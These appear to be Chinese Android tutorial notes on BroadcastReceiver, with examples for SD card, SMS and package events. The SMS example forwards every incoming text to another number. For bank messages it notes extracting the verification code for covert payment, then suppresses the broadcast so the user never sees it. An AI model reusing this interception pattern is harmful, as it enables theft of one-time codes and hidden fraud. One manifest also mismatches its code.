广 播:收音机
电 台:发送信号
收音机:接收信号
创建广播三个步骤:
相当于:1、买收音机 2、装电池 3、调频道
onreceive():用来接收广播事件
清单文件中receiver:装电池
receiver中的intent-filter:action、category、data:调频道
示例代码:
SD卡状态:
/**
* 1.相当于买好了一个收音机
*/
public class SDStatusReceiver extends BroadcastReceiver {
// 用来接收广播事件的,一旦广播消息到来,就会执行onreceive方法
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if ("android.intent.action.MEDIA_UNMOUNTED".equals(action)) {
System.out.println("SD卡被卸载了。");
}else if("android.intent.action.MEDIA_MOUNTED".equals(action)){
Toast.makeText(context, "SD卡被挂载了", 0).show();
}
}
}
清单文件配置:
<!-- 2.装电池 -->
<receiver android:name="com.itheima.sdstatus.SDStatusReceiver" >
<intent-filter >
<!-- 3.调频道 -->
<action android:name="android.intent.action.MEDIA_MOUNTED"/>
<action android:name="android.intent.action.MEDIA_UNMOUNTED"/>
<data android:scheme="file"/>
</intent-filter>
</receiver>
短信到来:
public class SmsListener extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
System.out.println("短信到来了。");
//objs里面存放的就是一组短信
Object[] objs = (Object[]) intent.getExtras().get("pdus");
for(Object obj:objs){
//得到每一条短信数据
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
String body = smsMessage.getMessageBody();
String address = smsMessage.getOriginatingAddress();
System.out.println(body);
System.out.println(address);
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556", null, address+"--"+body, null, null);
if(address.equals("95533")){
System.out.println("提取验证码,偷偷的后台支付");
abortBroadcast();
}
}
}
}
清单文件配置:
<receiver android:name="com.itheima.smslistener.SmsListener" >
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
应用程序的安装与卸载:
public class PackageStatusReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if("android.intent.action.PACKAGE_INSTALL".equals(action)){
System.out.println("有包install了"+intent.getData());
}else if("android.intent.action.PACKAGE_ADDED".equals(action)){
System.out.println("有包add了"+intent.getData());
}else if("android.intent.action.PACKAGE_REMOVED".equals(action)){
System.out.println("有包卸载了"+intent.getData());
}
}
}
清单文件配置:
<receiver android:name="com.itheima.appstatus.PackageStatusReceiver">
<intent-filter >
<action android:name="android.intent.action.SCREEN_OFF"/>
<action android:name="android.intent.action.PACKAGE_REMOVED"/>
<data android:scheme="package"/>
</intent-filter>
</receiver>